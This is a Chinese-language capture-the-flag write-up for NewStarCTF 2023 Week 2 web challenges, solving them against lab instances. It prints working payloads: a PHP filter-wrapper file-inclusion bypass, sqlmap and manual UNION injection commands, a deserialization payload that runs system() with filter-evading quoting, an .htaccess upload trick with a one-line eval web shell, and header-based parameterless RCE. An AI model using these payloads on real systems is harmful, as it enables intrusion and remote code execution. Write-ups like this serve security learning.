Writeup_2023_NewStarCTF_Week2

NewStarCTF第二周,菜鸟的wp


游戏高手

听说你是游戏高手?

进环境发现是个小游戏,分数到达100000才能拿flag:

youxi1

目测是要通过burpsuite伪造分数数据包,右键源码没啥东西,F12打开调试器,发现app_v2.js

在游戏进行的过程中并不存在数据包传递,除非游戏结束时分数>100000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//游戏结束
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest(); //创建XMLHttpRequest的对象xhr,与服务器通信
xhr.open("POST", "/api.php", true); //指定交互方式POST,并发送到api.php
xhr.setRequestHeader("Content-Type", "application/json");//设置请求头,JSON格式
xhr.onreadystatechange = function() {//下面这部分函数用来返回flag
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}

那就直接伪造一个包好了:POST方法api.phphost就是靶机地址,Content-Type:application/json,注意POST的数据要是JSON格式而且空一行,其它任意:

youxi2

如果数据包格式有问题它会提示{"message":"so low score"}

看了官方wp发现还有一种方法:直接打开控制台传gameScore=9999999999,然后等游戏结束:

youxi3

include 0。0

包含也有危害?

1
2
3
4
5
6
7
8
9
10
11
 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope

目测要用伪协议读flag.php的源码,没过滤filter但过滤了base|rot/而且是/i模式,不过没啥影响除了?file=php://filter/convert.base64-encode/resource=flag.php还有很多其它方法。

之前攻防世界正好做过一个类似的,payload:

?file=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

源码是这个东西:

<?php //flag{af954c6a-1ac4-4e23-a235-fc4108a03783}

ez_sql

虽然使用sqlmap是没有灵魂的,但我还是用了~

1
2
3
4
python sqlmap.py -u http://ec81de9a-5b56-4796-99be-f0810ee00a44.node4.buuoj.cn:81/?id=TMP0919 --current-db
python sqlmap.py -u http://ec81de9a-5b56-4796-99be-f0810ee00a44.node4.buuoj.cn:81/?id=TMP0919 -D ctf --tables
python sqlmap.py -u http://ec81de9a-5b56-4796-99be-f0810ee00a44.node4.buuoj.cn:81/?id=TMP0919 -D ctf -T here_is_flag --columns
python sqlmap.py -u http://ec81de9a-5b56-4796-99be-f0810ee00a44.node4.buuoj.cn:81/?id=TMP0919 -D ctf -T here_is_flag -C flag --dump

flag:flag{76715552-3304-4be1-b5e7-235d60421e41}

后面看了下wp,因为太久没做这种手注了也试了试:

先判断数字型还是字符型注入:

1
2
3
4
5
6
7
8
/?id=TMP0919%27--+    正常回显,初步猜测字符型注入
/?id=TMP0919' And 1=1 --+ 正常回显,字符型注入 // and 被过滤了,试了试AND结果发现成功绕过
如果想在URL中用#这个注释符要编码成%23,太久没做SQL注入了,一开始把这茬忘了。
/?id=TMP0919' oRdeR by 5 --+ 判断几列
/?id=-1' UNION SELECT 1,2,3,4,5 --+ 判断回显位,这五个数字同时回显
后面就是正常手注过程。
一开始以为直接用preg_match的 /i模式把大小写都正则匹配掉了,后面发现可以用大小写绕过。本来还想尝试ASCII编码绕过,弄了很久都没成功,找了下发现这种方式在某些版本的mysql中不能用了。。
https://xz.aliyun.com/t/10594#toc-6

Unserialize?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;// private属性,序列化后会在属性前后分别加空(\00,转成URL%00),构建payload要用rawurlencode

public function __destruct() //__destruct魔术方法,反序列化自动调用
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd); //简单的过滤,想读文件的化可以用c''at,ca${Z}t等绕过
}
}
}

@unserialize($_POST['unser']);
?>
1
2
3
4
5
6
7
8
9
10
11
class evil{
private $cmd = "ls /"; //看看当前文件夹下
}

$a = new evil();

$b = rawurlencode(serialize($a));

echo $b;

//当前文件夹下结果:index.php

unser1

1
2
3
4
5
6
7
8
9
10
11
<?php
class evil{
private $cmd = "ca''t /th1s_1s_fffflllll4444aaaggggg"; //看了wp发现直接用head读也行
}

$a = new evil();

$b = rawurlencode(serialize($a));

echo $b;
?>

flag{aa2dff68-42ce-46b0-a7d7-bb1d8a524896}

Upload again!

upload2

肯定比week1过滤更严格了,上传htaccess.发现上传成功,内容:

1
2
3
<FilesMatch "test1.png">
SetHandler application/x-httpd-php
</FilesMatch>

再上传test1.png,配置文件的存在可以把test1.png当成php文件,以构造一句话木马

1
2
3
4
GIF89a
<script language='php'>@eval($_POST['viper']);</script>
<script language='php'>@eval($_GET['notbad']);</script>

上传路径直接回显就不用F12去找了,可以先访问一下看是否访问成功,然后直接用蚁剑连就能拿flag

flag{99c580dd-c75e-41f2-89da-4741ab19f655}

后面看wp知道它是检查了文件内容:<?

R!!C!!E!!

进环境发现是敏感信息泄露,直接用dirsearch扫:

dirsearch -u http://635180c1-325b-4912-8f12-65571659c74b.node4.buuoj.cn:81/ --delay 3 -t 30

RCE1

.git泄露,切换成根用户python2 GitHack.py http://635180c1-325b-4912-8f12-65571659c74b.node4.buuoj.cn:81/.git

发现两个文件,一个index.php一个bo0g1pop.php

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

有个((?R)?\),典型无参数RCE。

无参数RCE用的比较多的方法有getallheaders()get_defined_var(),session_id。这题过滤了get_defined_vars,所以尝试用另外两种。

print_r(getallheaders())看看以数组形式返回的包头是什么顺序的,正序还是倒叙?都返回哪些?

/bo0g1pop.php/?star=print_r(getallheaders());

rce22

正序回显以上内容,构建payload:

?star=eavl(next(getallheaders())); 并把User-Agent头改成system('ls');

rce4

rce3

后面命令改成cat /flag即可

虽然Host头第一位就回显了,但不能通过改Host头去执行命令,否则会弹400。或者利用array_reverse改最后回显那个X-Forwarded-Proto头也行


Writeup_2023_NewStarCTF_Week2
http://example.com/2023/10/12/NewStarCTF_Week2/
作者
notbad3
发布于
2023年10月12日
许可协议